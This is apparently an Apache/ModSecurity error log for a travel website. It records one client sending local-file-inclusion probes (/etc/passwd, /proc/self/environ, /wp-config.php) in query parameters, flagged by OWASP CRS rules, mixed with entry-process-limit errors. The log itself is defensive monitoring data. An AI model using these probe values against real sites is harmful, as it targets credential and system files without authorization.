[Fri Jul 17 08:55:55.076233 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw-1pLmPpy2r_2CxflgAAAA8"]
[Fri Jul 17 08:55:55.079558 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:url: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS7AAAAB4"]
[Fri Jul 17 08:55:55.079674 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:url: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS7AAAAB4"]
[Fri Jul 17 08:55:55.080028 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:url: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QEQAAABk"]
[Fri Jul 17 08:55:55.080098 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS7AAAAB4"]
[Fri Jul 17 08:55:55.080140 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:url. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:url: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QEQAAABk"]
[Fri Jul 17 08:55:55.080205 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.080465 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw1CBpfuYyhJ140vS7AAAAB4"]
[Fri Jul 17 08:55:55.080659 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QEQAAABk"]
[Fri Jul 17 08:55:55.080753 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.081021 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgww7FYe46zHK_jL3QEQAAABk"]
[Fri Jul 17 08:55:55.085884 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.090292 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.093310 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.102423 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.106033 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.110438 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.120314 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.122096 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.123751 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:theme: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QEgAAABk"]
[Fri Jul 17 08:55:55.124248 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QEgAAABk"]
[Fri Jul 17 08:55:55.124381 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.124707 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgww7FYe46zHK_jL3QEgAAABk"]
[Fri Jul 17 08:55:55.128672 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:theme: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxHlOGcokz2QIwTTXwAAAAM"]
[Fri Jul 17 08:55:55.129296 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxHlOGcokz2QIwTTXwAAAAM"]
[Fri Jul 17 08:55:55.129394 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.129652 2026] [security2:error] [pid 2030774:tid 2030774] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwxHlOGcokz2QIwTTXwAAAAM"]
[Fri Jul 17 08:55:55.133230 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:theme: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6soQAAABQ"]
[Fri Jul 17 08:55:55.133316 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:theme: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6soQAAABQ"]
[Fri Jul 17 08:55:55.133747 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6soQAAABQ"]
[Fri Jul 17 08:55:55.133868 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.134142 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw0gVnBK6wAv37w6soQAAABQ"]
[Fri Jul 17 08:55:55.138578 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:theme: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVxQAAABM"]
[Fri Jul 17 08:55:55.138765 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:theme: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVxQAAABM"]
[Fri Jul 17 08:55:55.139544 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVxQAAABM"]
[Fri Jul 17 08:55:55.139755 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.140234 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw_wooI4qY7Jg93pVxQAAABM"]
[Fri Jul 17 08:55:55.140630 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:theme: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxAi3pC6yjXGNq2AtQAAAAU"]
[Fri Jul 17 08:55:55.140732 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:theme: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxAi3pC6yjXGNq2AtQAAAAU"]
[Fri Jul 17 08:55:55.141124 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxAi3pC6yjXGNq2AtQAAAAU"]
[Fri Jul 17 08:55:55.141237 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.141473 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwxAi3pC6yjXGNq2AtQAAAAU"]
[Fri Jul 17 08:55:55.142137 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:theme: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPCgAAAAA"]
[Fri Jul 17 08:55:55.142292 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:theme. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:theme: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPCgAAAAA"]
[Fri Jul 17 08:55:55.143028 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPCgAAAAA"]
